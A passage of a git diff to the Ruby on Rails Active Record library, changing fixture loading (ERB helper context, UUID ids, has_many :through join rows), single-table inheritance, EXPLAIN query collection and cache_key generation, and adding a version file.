index 0f927496fb..6a49936644 100644
--- a/activerecord/lib/active_record/explain_subscriber.rb
+++ b/activerecord/lib/active_record/explain_subscriber.rb
@@ -1,4 +1,5 @@
require 'active_support/notifications'
+require 'active_record/explain_registry'
module ActiveRecord
class ExplainSubscriber # :nodoc:
@@ -7,8 +8,8 @@ module ActiveRecord
end
def finish(name, id, payload)
- if queries = Thread.current[:available_queries_for_explain]
- queries << payload.values_at(:sql, :binds) unless ignore_payload?(payload)
+ if ExplainRegistry.collect? && !ignore_payload?(payload)
+ ExplainRegistry.queries << payload.values_at(:sql, :binds)
end
end
@@ -18,7 +19,7 @@ module ActiveRecord
# On the other hand, we want to monitor the performance of our real database
# queries, not the performance of the access to the query cache.
IGNORED_PAYLOADS = %w(SCHEMA EXPLAIN CACHE)
- EXPLAINED_SQLS = /\A\s*(select|update|delete|insert)/i
+ EXPLAINED_SQLS = /\A\s*(select|update|delete|insert)\b/i
def ignore_payload?(payload)
payload[:exception] || IGNORED_PAYLOADS.include?(payload[:name]) || payload[:sql] !~ EXPLAINED_SQLS
end
diff --git a/activerecord/lib/active_record/fixture_set/file.rb b/activerecord/lib/active_record/fixture_set/file.rb
index 11b53275e1..8132310c91 100644
--- a/activerecord/lib/active_record/fixture_set/file.rb
+++ b/activerecord/lib/active_record/fixture_set/file.rb
@@ -24,7 +24,6 @@ module ActiveRecord
rows.each(&block)
end
- RESCUE_ERRORS = [ ArgumentError, Psych::SyntaxError ] # :nodoc:
private
def rows
@@ -32,14 +31,15 @@ module ActiveRecord
begin
data = YAML.load(render(IO.read(@file)))
- rescue *RESCUE_ERRORS => error
+ rescue ArgumentError, Psych::SyntaxError => error
raise Fixture::FormatError, "a YAML error occurred parsing #{@file}. Please note that YAML must be consistently indented using spaces. Tabs are not allowed. Please have a look at http://www.yaml.org/faq.html\nThe exact error was:\n #{error.class}: #{error}", error.backtrace
end
@rows = data ? validate(data).to_a : []
end
def render(content)
- ERB.new(content).result
+ context = ActiveRecord::FixtureSet::RenderContext.create_subclass.new
+ ERB.new(content).result(context.get_binding)
end
# Validate our unmarshalled data.
diff --git a/activerecord/lib/active_record/fixtures.rb b/activerecord/lib/active_record/fixtures.rb
index c5ad14722e..4732462b05 100644
--- a/activerecord/lib/active_record/fixtures.rb
+++ b/activerecord/lib/active_record/fixtures.rb
@@ -2,11 +2,10 @@ require 'erb'
require 'yaml'
require 'zlib'
require 'active_support/dependencies'
+require 'active_support/core_ext/digest/uuid'
require 'active_record/fixture_set/file'
require 'active_record/errors'
-require 'active_support/deprecation' # temporary
-
module ActiveRecord
class FixtureClassNotFound < ActiveRecord::ActiveRecordError #:nodoc:
end
@@ -16,9 +15,10 @@ module ActiveRecord
# They are stored in YAML files, one file per model, which are placed in the directory
# appointed by <tt>ActiveSupport::TestCase.fixture_path=(path)</tt> (this is automatically
# configured for Rails, so you can just put your files in <tt><your-rails-app>/test/fixtures/</tt>).
- # The fixture file ends with the <tt>.yml</tt> file extension (Rails example:
- # <tt><your-rails-app>/test/fixtures/web_sites.yml</tt>). The format of a fixture file looks
- # like this:
+ # The fixture file ends with the +.yml+ file extension, for example:
+ # <tt><your-rails-app>/test/fixtures/web_sites.yml</tt>).
+ #
+ # The format of a fixture file looks like this:
#
# rubyonrails:
# id: 1
@@ -34,7 +34,7 @@ module ActiveRecord
# is followed by an indented list of key/value pairs in the "key: value" format. Records are
# separated by a blank line for your viewing pleasure.
#
- # Note that fixtures are unordered. If you want ordered fixtures, use the omap YAML type.
+ # Note: Fixtures are unordered. If you want ordered fixtures, use the omap YAML type.
# See http://yaml.org/type/omap.html
# for the specification. You will need ordered fixtures when you have foreign key constraints
# on keys in the same table. This is commonly needed for tree structures. Example:
@@ -62,8 +62,8 @@ module ActiveRecord
# end
# end
#
- # By default, <tt>test_helper.rb</tt> will load all of your fixtures into your test database,
- # so this test will succeed.
+ # By default, +test_helper.rb+ will load all of your fixtures into your test
+ # database, so this test will succeed.
#
# The testing environment will automatically load the all fixtures into the database before each
# test. To ensure consistent data, the environment deletes the fixtures before running the load.
@@ -121,6 +121,23 @@ module ActiveRecord
# perhaps you should reexamine whether your application is properly testable. Hence, dynamic values
# in fixtures are to be considered a code smell.
#
+ # Helper methods defined in a fixture will not be available in other fixtures, to prevent against
+ # unwanted inter-test dependencies. Methods used by multiple fixtures should be defined in a module
+ # that is included in <tt>ActiveRecord::FixtureSet.context_class</tt>.
+ #
+ # - define a helper method in `test_helper.rb`
+ # module FixtureFileHelpers
+ # def file_sha(path)
+ # Digest::SHA2.hexdigest(File.read(Rails.root.join('test/fixtures', path)))
+ # end
+ # end
+ # ActiveRecord::FixtureSet.context_class.send :include, FixtureFileHelpers
+ #
+ # - use the helper method in a fixture
+ # photo:
+ # name: kitten.png
+ # sha: <%= file_sha 'files/kitten.png' %>
+ #
# = Transactional Fixtures
#
# Test cases can use begin+rollback to isolate their changes to the database instead of having to
@@ -164,6 +181,9 @@ module ActiveRecord
# * Stable, autogenerated IDs
# * Label references for associations (belongs_to, has_one, has_many)
# * HABTM associations as inline lists
+ #
+ # There are some more advanced features available even if the id is specified:
+ #
# * Autofilled timestamp columns
# * Fixture label interpolation
# * Support for YAML defaults
@@ -346,6 +366,7 @@ module ActiveRecord
# geeksomnia:
# name: Geeksomnia's Account
# subdomain: $LABEL
+ # email: $LABEL@email.com
#
# Also, sometimes (like when porting older join table fixtures) you'll need
# to be able to get a hold of the identifier for a given label. ERB
@@ -357,46 +378,42 @@ module ActiveRecord
#
# == Support for YAML defaults
#
- # You probably already know how to use YAML to set and reuse defaults in
- # your <tt>database.yml</tt> file. You can use the same technique in your fixtures:
+ # You can set and reuse defaults in your fixtures YAML file.
+ # This is the same technique used in the +database.yml+ file to specify
+ # defaults:
#
# DEFAULTS: &DEFAULTS
# created_on: <%= 3.weeks.ago.to_s(:db) %>
#
# first:
# name: Smurf
- # *DEFAULTS
+ # <<: *DEFAULTS
#
# second:
# name: Fraggle
- # *DEFAULTS
+ # <<: *DEFAULTS
#
# Any fixture labeled "DEFAULTS" is safely ignored.
class FixtureSet
#--
- # An instance of FixtureSet is normally stored in a single YAML file and possibly in a folder with the same name.
+ # An instance of FixtureSet is normally stored in a single YAML file and
+ # possibly in a folder with the same name.
#++
MAX_ID = 2 ** 30 - 1
@@all_cached_fixtures = Hash.new { |h,k| h[k] = {} }
- def self.find_table_name(fixture_set_name) # :nodoc:
- ActiveSupport::Deprecation.warn(
- "ActiveRecord::Fixtures.find_table_name is deprecated and shall be removed from future releases. Use ActiveRecord::Fixtures.default_fixture_model_name instead.")
- default_fixture_model_name(fixture_set_name)
- end
-
- def self.default_fixture_model_name(fixture_set_name) # :nodoc:
- ActiveRecord::Base.pluralize_table_names ?
+ def self.default_fixture_model_name(fixture_set_name, config = ActiveRecord::Base) # :nodoc:
+ config.pluralize_table_names ?
fixture_set_name.singularize.camelize :
fixture_set_name.camelize
end
- def self.default_fixture_table_name(fixture_set_name) # :nodoc:
- "#{ ActiveRecord::Base.table_name_prefix }"\
+ def self.default_fixture_table_name(fixture_set_name, config = ActiveRecord::Base) # :nodoc:
+ "#{ config.table_name_prefix }"\
"#{ fixture_set_name.tr('/', '_') }"\
- "#{ ActiveRecord::Base.table_name_suffix }".to_sym
+ "#{ config.table_name_suffix }".to_sym
end
def self.reset_cache
@@ -444,9 +461,41 @@ module ActiveRecord
cattr_accessor :all_loaded_fixtures
self.all_loaded_fixtures = {}
- def self.create_fixtures(fixtures_directory, fixture_set_names, class_names = {})
+ class ClassCache
+ def initialize(class_names, config)
+ @class_names = class_names.stringify_keys
+ @config = config
+
+ # Remove string values that aren't constants or subclasses of AR
+ @class_names.delete_if { |klass_name, klass| !insert_class(@class_names, klass_name, klass) }
+ end
+
+ def [](fs_name)
+ @class_names.fetch(fs_name) {
+ klass = default_fixture_model(fs_name, @config).safe_constantize
+ insert_class(@class_names, fs_name, klass)
+ }
+ end
+
+ private
+
+ def insert_class(class_names, name, klass)
+ # We only want to deal with AR objects.
+ if klass && klass < ActiveRecord::Base
+ class_names[name] = klass
+ else
+ class_names[name] = nil
+ end
+ end
+
+ def default_fixture_model(fs_name, config)
+ ActiveRecord::FixtureSet.default_fixture_model_name(fs_name, config)
+ end
+ end
+
+ def self.create_fixtures(fixtures_directory, fixture_set_names, class_names = {}, config = ActiveRecord::Base)
fixture_set_names = Array(fixture_set_names).map(&:to_s)
- class_names = class_names.stringify_keys
+ class_names = ClassCache.new class_names, config
# FIXME: Apparently JK uses this.
connection = block_given? ? yield : ActiveRecord::Base.connection
@@ -460,21 +509,23 @@ module ActiveRecord
fixtures_map = {}
fixture_sets = files_to_read.map do |fs_name|
+ klass = class_names[fs_name]
+ conn = klass ? klass.connection : connection
fixtures_map[fs_name] = new( # ActiveRecord::FixtureSet.new
- connection,
+ conn,
fs_name,
- class_names[fs_name] || default_fixture_model_name(fs_name),
+ klass,
::File.join(fixtures_directory, fs_name))
end
- all_loaded_fixtures.update(fixtures_map)
+ update_all_loaded_fixtures fixtures_map
connection.transaction(:requires_new => true) do
fixture_sets.each do |fs|
conn = fs.model_class.respond_to?(:connection) ? fs.model_class.connection : connection
table_rows = fs.table_rows
- table_rows.keys.each do |table|
+ table_rows.each_key do |table|
conn.delete "DELETE FROM #{conn.quote_table_name(table)}", 'Fixture Delete'
end
@@ -500,32 +551,45 @@ module ActiveRecord
end
# Returns a consistent, platform-independent identifier for +label+.
- # Identifiers are positive integers less than 2^32.
- def self.identify(label)
- Zlib.crc32(label.to_s) % MAX_ID
+ # Integer identifiers are values less than 2^30. UUIDs are RFC 4122 version 5 SHA-1 hashes.
+ def self.identify(label, column_type = :integer)
+ if column_type == :uuid
+ Digest::UUID.uuid_v5(Digest::UUID::OID_NAMESPACE, label.to_s)
+ else
+ Zlib.crc32(label.to_s) % MAX_ID
+ end
+ end
+
+ # Superclass for the evaluation contexts used by ERB fixtures.
+ def self.context_class
+ @context_class ||= Class.new
+ end
+
+ def self.update_all_loaded_fixtures(fixtures_map) # :nodoc:
+ all_loaded_fixtures.update(fixtures_map)
end
- attr_reader :table_name, :name, :fixtures, :model_class
+ attr_reader :table_name, :name, :fixtures, :model_class, :config
- def initialize(connection, name, class_name, path)
- @fixtures = {} # Ordered hash
+ def initialize(connection, name, class_name, path, config = ActiveRecord::Base)
@name = name
@path = path
+ @config = config
+ @model_class = nil
if class_name.is_a?(Class) # TODO: Should be an AR::Base type class, or any?
@model_class = class_name
else
- @model_class = class_name.constantize rescue nil
+ @model_class = class_name.safe_constantize if class_name
end
- @connection = ( model_class.respond_to?(:connection) ?
- model_class.connection : connection )
+ @connection = connection
@table_name = ( model_class.respond_to?(:table_name) ?
model_class.table_name :
- self.class.default_fixture_table_name(name) )
+ self.class.default_fixture_table_name(name, config) )
- read_fixture_files
+ @fixtures = read_fixture_files path, @model_class
end
def [](x)
@@ -544,10 +608,10 @@ module ActiveRecord
fixtures.size
end
- # Return a hash of rows to be inserted. The key is the table, the value is
+ # Returns a hash of rows to be inserted. The key is the table, the value is
# a list of rows to insert to that table.
def table_rows
- now = ActiveRecord::Base.default_timezone == :utc ? Time.now.utc : Time.now
+ now = config.default_timezone == :utc ? Time.now.utc : Time.now
now = now.to_s(:db)
# allow a standard key to be used for doing defaults in YAML
@@ -559,7 +623,7 @@ module ActiveRecord
rows[table_name] = fixtures.map do |label, fixture|
row = fixture.to_hash
- if model_class && model_class < ActiveRecord::Base
+ if model_class
# fill in timestamp columns if they aren't specified and the model is set to record_timestamps
if model_class.record_timestamps
timestamp_column_names.each do |c_name|
@@ -569,12 +633,12 @@ module ActiveRecord
# interpolate the fixture label
row.each do |key, value|
- row[key] = label if value == "$LABEL"
+ row[key] = value.gsub("$LABEL", label) if value.is_a?(String)
end
# generate a primary key if necessary
if has_primary_key_column? && !row.include?(primary_key_name)
- row[primary_key_name] = ActiveRecord::FixtureSet.identify(label)
+ row[primary_key_name] = ActiveRecord::FixtureSet.identify(label, primary_key_type)
end
# If STI is used, find the correct subclass for association reflection
@@ -585,28 +649,24 @@ module ActiveRecord
model_class
end
- reflection_class.reflect_on_all_associations.each do |association|
+ reflection_class._reflections.each_value do |association|
case association.macro
when :belongs_to
# Do not replace association name with association foreign key if they are named the same
fk_name = (association.options[:foreign_key] || "#{association.name}_id").to_s
if association.name.to_s != fk_name && value = row.delete(association.name.to_s)
- if association.options[:polymorphic] && value.sub!(/\s*\(([^\)]*)\)\s*$/, "")
+ if association.polymorphic? && value.sub!(/\s*\(([^\)]*)\)\s*$/, "")
# support polymorphic belongs_to as "label (Type)"
row[association.foreign_type] = $1
end
- row[fk_name] = ActiveRecord::FixtureSet.identify(value)
+ fk_type = association.active_record.columns_hash[fk_name].type
+ row[fk_name] = ActiveRecord::FixtureSet.identify(value, fk_type)
end
- when :has_and_belongs_to_many
- if (targets = row.delete(association.name.to_s))
- targets = targets.is_a?(Array) ? targets : targets.split(/\s*,\s*/)
- table_name = association.join_table
- rows[table_name].concat targets.map { |target|
- { association.foreign_key => row[primary_key_name],
- association.association_foreign_key => ActiveRecord::FixtureSet.identify(target) }
- }
+ when :has_many
+ if association.options[:through]
+ add_join_records(rows, row, HasManyThroughProxy.new(association))
end
end
end
@@ -617,11 +677,59 @@ module ActiveRecord
rows
end
+ class ReflectionProxy # :nodoc:
+ def initialize(association)
+ @association = association
+ end
+
+ def join_table
+ @association.join_table
+ end
+
+ def name
+ @association.name
+ end
+
+ def primary_key_type
+ @association.klass.column_types[@association.klass.primary_key].type
+ end
+ end
+
+ class HasManyThroughProxy < ReflectionProxy # :nodoc:
+ def rhs_key
+ @association.foreign_key
+ end
+
+ def lhs_key
+ @association.through_reflection.foreign_key
+ end
+ end
+
private
def primary_key_name
@primary_key_name ||= model_class && model_class.primary_key
end
+ def primary_key_type
+ @primary_key_type ||= model_class && model_class.column_types[model_class.primary_key].type
+ end
+
+ def add_join_records(rows, row, association)
+ # This is the case when the join table has no fixtures file
+ if (targets = row.delete(association.name.to_s))
+ table_name = association.join_table
+ column_type = association.primary_key_type
+ lhs_key = association.lhs_key
+ rhs_key = association.rhs_key
+
+ targets = targets.is_a?(Array) ? targets : targets.split(/\s*,\s*/)
+ rows[table_name].concat targets.map { |target|
+ { lhs_key => row[primary_key_name],
+ rhs_key => ActiveRecord::FixtureSet.identify(target, column_type) }
+ }
+ end
+ end
+
def has_primary_key_column?
@has_primary_key_column ||= primary_key_name &&
model_class.columns.any? { |c| c.name == primary_key_name }
@@ -637,15 +745,15 @@ module ActiveRecord
end
def column_names
- @column_names ||= @connection.columns(@table_name).collect { |c| c.name }
+ @column_names ||= @connection.columns(@table_name).collect(&:name)
end
- def read_fixture_files
- yaml_files = Dir["#{@path}/**/*.yml"].select { |f|
+ def read_fixture_files(path, model_class)
+ yaml_files = Dir["#{path}/{**,*}/*.yml"].select { |f|
::File.file?(f)
- } + [yaml_file_path]
+ } + [yaml_file_path(path)]
- yaml_files.each do |file|
+ yaml_files.each_with_object({}) do |file, fixtures|
FixtureSet::File.open(file) do |fh|
fh.each do |fixture_name, row|
fixtures[fixture_name] = ActiveRecord::Fixture.new(row, model_class)
@@ -654,8 +762,8 @@ module ActiveRecord
end
end
- def yaml_file_path
- "#{@path}.yml"
+ def yaml_file_path(path)
+ "#{path}.yml"
end
end
@@ -698,7 +806,9 @@ module ActiveRecord
def find
if model_class
- model_class.find(fixture[model_class.primary_key])
+ model_class.unscoped do
+ model_class.find(fixture[model_class.primary_key])
+ end
else
raise FixtureClassNotFound, "No class attached to find."
end
@@ -710,24 +820,33 @@ module ActiveRecord
module TestFixtures
extend ActiveSupport::Concern
- included do
- setup :setup_fixtures
- teardown :teardown_fixtures
+ def before_setup
+ setup_fixtures
+ super
+ end
- class_attribute :fixture_path
+ def after_teardown
+ super
+ teardown_fixtures
+ end
+
+ included do
+ class_attribute :fixture_path, :instance_writer => false
class_attribute :fixture_table_names
class_attribute :fixture_class_names
class_attribute :use_transactional_fixtures
class_attribute :use_instantiated_fixtures # true, false, or :no_instances
class_attribute :pre_loaded_fixtures
+ class_attribute :config
self.fixture_table_names = []
self.use_transactional_fixtures = true
self.use_instantiated_fixtures = false
self.pre_loaded_fixtures = false
+ self.config = ActiveRecord::Base
self.fixture_class_names = Hash.new do |h, fixture_set_name|
- h[fixture_set_name] = ActiveRecord::FixtureSet.default_fixture_model_name(fixture_set_name)
+ h[fixture_set_name] = ActiveRecord::FixtureSet.default_fixture_model_name(fixture_set_name, self.config)
end
end
@@ -740,56 +859,22 @@ module ActiveRecord
# 'namespaced/fixture' => Another::Model
#
# The keys must be the fixture names, that coincide with the short paths to the fixture files.
- #--
- # It is also possible to pass the class name instead of the class:
- # set_fixture_class 'some_fixture' => 'SomeModel'
- # I think this option is redundant, i propose to deprecate it.
- # Isn't it easier to always pass the class itself?
- # (2011-12-20 alexeymuranov)
- #++
def set_fixture_class(class_names = {})
self.fixture_class_names = self.fixture_class_names.merge(class_names.stringify_keys)
end
def fixtures(*fixture_set_names)
if fixture_set_names.first == :all
- fixture_set_names = Dir["#{fixture_path}/**/*.yml"].map { |f|
- File.basename f, '.yml'
- }
+ fixture_set_names = Dir["#{fixture_path}/{**,*}/*.{yml}"]
+ fixture_set_names.map! { |f| f[(fixture_path.to_s.size + 1)..-5] }
else
- fixture_set_names = fixture_set_names.flatten.map { |n| n.to_s }
+ fixture_set_names = fixture_set_names.flatten.map(&:to_s)
end
self.fixture_table_names |= fixture_set_names
- require_fixture_classes(fixture_set_names)
setup_fixture_accessors(fixture_set_names)
end
- def try_to_load_dependency(file_name)
- require_dependency file_name
- rescue LoadError => e
- # Let's hope the developer has included it himself
-
- # Let's warn in case this is a subdependency, otherwise
- # subdependency error messages are totally cryptic
- if ActiveRecord::Base.logger
- ActiveRecord::Base.logger.warn("Unable to load #{file_name}, underlying cause #{e.message} \n\n #{e.backtrace.join("\n")}")
- end
- end
-
- def require_fixture_classes(fixture_set_names = nil)
- if fixture_set_names
- fixture_set_names = fixture_set_names.map { |n| n.to_s }
- else
- fixture_set_names = fixture_table_names
- end
-
- fixture_set_names.each do |file_name|
- file_name = file_name.singularize if ActiveRecord::Base.pluralize_table_names
- try_to_load_dependency(file_name)
- end
- end
-
def setup_fixture_accessors(fixture_set_names = nil)
fixture_set_names = Array(fixture_set_names || fixture_table_names)
methods = Module.new do
@@ -823,7 +908,7 @@ module ActiveRecord
def uses_transaction(*methods)
@uses_transaction = [] unless defined?(@uses_transaction)
- @uses_transaction.concat methods.map { |m| m.to_s }
+ @uses_transaction.concat methods.map(&:to_s)
end
def uses_transaction?(method)
@@ -837,9 +922,7 @@ module ActiveRecord
!self.class.uses_transaction?(method_name)
end
- def setup_fixtures
- return if ActiveRecord::Base.configurations.blank?
-
+ def setup_fixtures(config = ActiveRecord::Base)
if pre_loaded_fixtures && !use_transactional_fixtures
raise RuntimeError, 'pre_loaded_fixtures requires use_transactional_fixtures'
end
@@ -853,7 +936,7 @@ module ActiveRecord
if @@already_loaded_fixtures[self.class]
@loaded_fixtures = @@already_loaded_fixtures[self.class]
else
- @loaded_fixtures = load_fixtures
+ @loaded_fixtures = load_fixtures(config)
@@already_loaded_fixtures[self.class] = @loaded_fixtures
end
@fixture_connections = enlist_fixture_connections
@@ -864,7 +947,7 @@ module ActiveRecord
else
ActiveRecord::FixtureSet.reset_cache
@@already_loaded_fixtures[self.class] = nil
- @loaded_fixtures = load_fixtures
+ @loaded_fixtures = load_fixtures(config)
end
# Instantiate fixtures for every test if requested.
@@ -872,8 +955,6 @@ module ActiveRecord
end
def teardown_fixtures
- return if ActiveRecord::Base.configurations.blank?
-
# Rollback changes if a transaction is active.
if run_in_transaction?
@fixture_connections.each do |connection|
@@ -892,21 +973,14 @@ module ActiveRecord
end
private
- def load_fixtures
- fixtures = ActiveRecord::FixtureSet.create_fixtures(fixture_path, fixture_table_names, fixture_class_names)
+ def load_fixtures(config)
+ fixtures = ActiveRecord::FixtureSet.create_fixtures(fixture_path, fixture_table_names, fixture_class_names, config)
Hash[fixtures.map { |f| [f.name, f] }]
end
- # for pre_loaded_fixtures, only require the classes once. huge speed improvement
- @@required_fixture_classes = false
-
def instantiate_fixtures
if pre_loaded_fixtures
raise RuntimeError, 'Load fixtures before instantiating them.' if ActiveRecord::FixtureSet.all_loaded_fixtures.empty?
- unless @@required_fixture_classes
- self.class.require_fixture_classes ActiveRecord::FixtureSet.all_loaded_fixtures.keys
- @@required_fixture_classes = true
- end
ActiveRecord::FixtureSet.instantiate_all_loaded_fixtures(self, load_instances?)
else
raise RuntimeError, 'Load fixtures before instantiating them.' if @loaded_fixtures.nil?
@@ -921,3 +995,13 @@ module ActiveRecord
end
end
end
+
+class ActiveRecord::FixtureSet::RenderContext # :nodoc:
+ def self.create_subclass
+ Class.new ActiveRecord::FixtureSet.context_class do
+ def get_binding
+ binding()
+ end
+ end
+ end
+end
diff --git a/activerecord/lib/active_record/gem_version.rb b/activerecord/lib/active_record/gem_version.rb
new file mode 100644
index 0000000000..a388b529c9
--- /dev/null
+++ b/activerecord/lib/active_record/gem_version.rb
@@ -0,0 +1,15 @@
+module ActiveRecord
+ # Returns the version of the currently loaded Active Record as a <tt>Gem::Version</tt>
+ def self.gem_version
+ Gem::Version.new VERSION::STRING
+ end
+
+ module VERSION
+ MAJOR = 5
+ MINOR = 0
+ TINY = 0
+ PRE = "alpha"
+
+ STRING = [MAJOR, MINOR, TINY, PRE].compact.join(".")
+ end
+end
diff --git a/activerecord/lib/active_record/inheritance.rb b/activerecord/lib/active_record/inheritance.rb
index 6ab67fdece..b91e9ac137 100644
--- a/activerecord/lib/active_record/inheritance.rb
+++ b/activerecord/lib/active_record/inheritance.rb
@@ -1,9 +1,42 @@
+require 'active_support/core_ext/hash/indifferent_access'
+
module ActiveRecord
+ # == Single table inheritance
+ #
+ # Active Record allows inheritance by storing the name of the class in a column that by
+ # default is named "type" (can be changed by overwriting <tt>Base.inheritance_column</tt>).
+ # This means that an inheritance looking like this:
+ #
+ # class Company < ActiveRecord::Base; end
+ # class Firm < Company; end
+ # class Client < Company; end
+ # class PriorityClient < Client; end
+ #
+ # When you do <tt>Firm.create(name: "37signals")</tt>, this record will be saved in
+ # the companies table with type = "Firm". You can then fetch this row again using
+ # <tt>Company.where(name: '37signals').first</tt> and it will return a Firm object.
+ #
+ # Be aware that because the type column is an attribute on the record every new
+ # subclass will instantly be marked as dirty and the type column will be included
+ # in the list of changed attributes on the record. This is different from non
+ # STI classes:
+ #
+ # Company.new.changed? # => false
+ # Firm.new.changed? # => true
+ # Firm.new.changes # => {"type"=>["","Firm"]}
+ #
+ # If you don't have a type column defined in your table, single-table inheritance won't
+ # be triggered. In that case, it'll work just like normal subclasses with no special magic
+ # for differentiating between them or reloading the right type with find.
+ #
+ # Note, all the attributes for all the cases are kept in the same table. Read more:
+ # http://www.martinfowler.com/eaaCatalog/singleTableInheritance.html
+ #
module Inheritance
extend ActiveSupport::Concern
included do
- # Determine whether to store the full constant name including namespace when using STI
+ # Determines whether to store the full constant name including namespace when using STI.
class_attribute :store_full_sti_class, instance_writer: false
self.store_full_sti_class = true
end
@@ -11,18 +44,26 @@ module ActiveRecord
module ClassMethods
# Determines if one of the attributes passed in is the inheritance column,
# and if the inheritance column is attr accessible, it initializes an
- # instance of the given subclass instead of the base class
+ # instance of the given subclass instead of the base class.
def new(*args, &block)
- if (attrs = args.first).is_a?(Hash)
- if subclass = subclass_from_attrs(attrs)
- return subclass.new(*args, &block)
- end
+ if abstract_class? || self == Base
+ raise NotImplementedError, "#{self} is an abstract class and cannot be instantiated."
+ end
+
+ attrs = args.first
+ if subclass_from_attributes?(attrs)
+ subclass = subclass_from_attributes(attrs)
+ end
+
+ if subclass
+ subclass.new(*args, &block)
+ else
+ super
end
- # Delegate to the original .new
- super
end
- # True if this isn't a concrete subclass needing a STI type condition.
+ # Returns +true+ if this does not need STI type condition. Returns
+ # +false+ if STI type condition needs to be applied.
def descends_from_active_record?
if self == Base
false
@@ -39,10 +80,12 @@ module ActiveRecord
end
def symbolized_base_class
+ ActiveSupport::Deprecation.warn('`ActiveRecord::Base.symbolized_base_class` is deprecated and will be removed without replacement.')
@symbolized_base_class ||= base_class.to_s.to_sym
end
def symbolized_sti_name
+ ActiveSupport::Deprecation.warn('`ActiveRecord::Base.symbolized_sti_name` is deprecated and will be removed without replacement.')
@symbolized_sti_name ||= sti_name.present? ? sti_name.to_sym : symbolized_base_class
end
@@ -108,16 +151,11 @@ module ActiveRecord
candidates << type_name
candidates.each do |candidate|
- begin
- constant = ActiveSupport::Dependencies.constantize(candidate)
- return constant if candidate == constant.to_s
- rescue NameError => e
- # We don't want to swallow NoMethodError < NameError errors
- raise e unless e.instance_of?(NameError)
- end
+ constant = ActiveSupport::Dependencies.safe_constantize(candidate)
+ return constant if candidate == constant.to_s
end
- raise NameError, "uninitialized constant #{candidates.first}"
+ raise NameError.new("uninitialized constant #{candidates.first}", candidates.first)
end
end
@@ -153,8 +191,8 @@ module ActiveRecord
end
def type_condition(table = arel_table)
- sti_column = table[inheritance_column.to_sym]
- sti_names = ([self] + descendants).map { |model| model.sti_name }
+ sti_column = table[inheritance_column]
+ sti_names = ([self] + descendants).map(&:sti_name)
sti_column.in(sti_names)
end
@@ -163,18 +201,37 @@ module ActiveRecord
# is not self or a valid subclass, raises ActiveRecord::SubclassNotFound
# If this is a StrongParameters hash, and access to inheritance_column is not permitted,
# this will ignore the inheritance column and return nil
- def subclass_from_attrs(attrs)
+ def subclass_from_attributes?(attrs)
+ columns_hash.include?(inheritance_column) && attrs.is_a?(Hash)
+ end
+
+ def subclass_from_attributes(attrs)
subclass_name = attrs.with_indifferent_access[inheritance_column]
- return nil if subclass_name.blank? || subclass_name == self.name
- unless subclass = subclasses.detect { |sub| sub.name == subclass_name }
- raise ActiveRecord::SubclassNotFound.new("Invalid single-table inheritance type: #{subclass_name} is not a subclass of #{name}")
+
+ if subclass_name.present? && subclass_name != self.name
+ subclass = subclass_name.safe_constantize
+
+ unless descendants.include?(subclass)
+ raise ActiveRecord::SubclassNotFound.new("Invalid single-table inheritance type: #{subclass_name} is not a subclass of #{name}")
+ end
+
+ subclass
end
- subclass
end
end
+ def initialize_dup(other)
+ super
+ ensure_proper_type
+ end
+
private
+ def initialize_internals_callback
+ super
+ ensure_proper_type
+ end
+
# Sets the attribute used for single table inheritance to this class name if this is not the
# ActiveRecord::Base descendant.
# Considering the hierarchy Reply < Message < ActiveRecord::Base, this makes it possible to
diff --git a/activerecord/lib/active_record/integration.rb b/activerecord/lib/active_record/integration.rb
index 7f877a6471..15b2f65dcb 100644
--- a/activerecord/lib/active_record/integration.rb
+++ b/activerecord/lib/active_record/integration.rb
@@ -1,3 +1,5 @@
+require 'active_support/core_ext/string/filters'
+
module ActiveRecord
module Integration
extend ActiveSupport::Concern
@@ -5,8 +7,10 @@ module ActiveRecord
included do
##
# :singleton-method:
- # Indicates the format used to generate the timestamp format in the cache key.
- # This is +:number+, by default.
+ # Indicates the format used to generate the timestamp in the cache key.
+ # Accepts any of the symbols in <tt>Time::DATE_FORMATS</tt>.
+ #
+ # This is +:nsec+, by default.
class_attribute :cache_timestamp_format, :instance_writer => false
self.cache_timestamp_format = :nsec
end
@@ -19,7 +23,7 @@ module ActiveRecord
# <tt>resources :users</tt> route. Normally, +user_path+ will
# construct a path with the user object's 'id' in it:
#
- # user = User.find_by_name('Phusion')
+ # user = User.find_by(name: 'Phusion')
# user_path(user) # => "/users/1"
#
# You can override +to_param+ in your model to make +user_path+ construct
@@ -31,7 +35,7 @@ module ActiveRecord
# end
# end
#
- # user = User.find_by_name('Phusion')
+ # user = User.find_by(name: 'Phusion')
# user_path(user) # => "/users/Phusion"
def to_param
# We can't use alias_method here, because method 'id' optimizes itself on the fly.
@@ -43,15 +47,66 @@ module ActiveRecord
# Product.new.cache_key # => "products/new"
# Product.find(5).cache_key # => "products/5" (updated_at not available)
# Person.find(5).cache_key # => "people/5-20071224150000" (updated_at available)
- def cache_key
+ #
+ # You can also pass a list of named timestamps, and the newest in the list will be
+ # used to generate the key:
+ #
+ # Person.find(5).cache_key(:updated_at, :last_reviewed_at)
+ def cache_key(*timestamp_names)
case
when new_record?
- "#{self.class.model_name.cache_key}/new"
- when timestamp = self[:updated_at]
+ "#{model_name.cache_key}/new"
+ when timestamp_names.any?
+ timestamp = max_updated_column_timestamp(timestamp_names)
+ timestamp = timestamp.utc.to_s(cache_timestamp_format)
+ "#{model_name.cache_key}/#{id}-#{timestamp}"
+ when timestamp = max_updated_column_timestamp
timestamp = timestamp.utc.to_s(cache_timestamp_format)
- "#{self.class.model_name.cache_key}/#{id}-#{timestamp}"
+ "#{model_name.cache_key}/#{id}-#{timestamp}"
else
- "#{self.class.model_name.cache_key}/#{id}"
+ "#{model_name.cache_key}/#{id}"
+ end
+ end
+
+ module ClassMethods
+ # Defines your model's +to_param+ method to generate "pretty" URLs
+ # using +method_name+, which can be any attribute or method that
+ # responds to +to_s+.
+ #
+ # class User < ActiveRecord::Base
+ # to_param :name
+ # end
+ #
+ # user = User.find_by(name: 'Fancy Pants')
+ # user.id # => 123
+ # user_path(user) # => "/users/123-fancy-pants"
+ #
+ # Values longer than 20 characters will be truncated. The value
+ # is truncated word by word.
+ #
+ # user = User.find_by(name: 'David HeinemeierHansson')
+ # user.id # => 125
+ # user_path(user) # => "/users/125-david"
+ #
+ # Because the generated param begins with the record's +id+, it is
+ # suitable for passing to +find+. In a controller, for example:
+ #
+ # params[:id] # => "123-fancy-pants"
+ # User.find(params[:id]).id # => 123
+ def to_param(method_name = nil)
+ if method_name.nil?
+ super()
+ else
+ define_method :to_param do
+ if (default = super()) &&
+ (result = send(method_name).to_s).present? &&
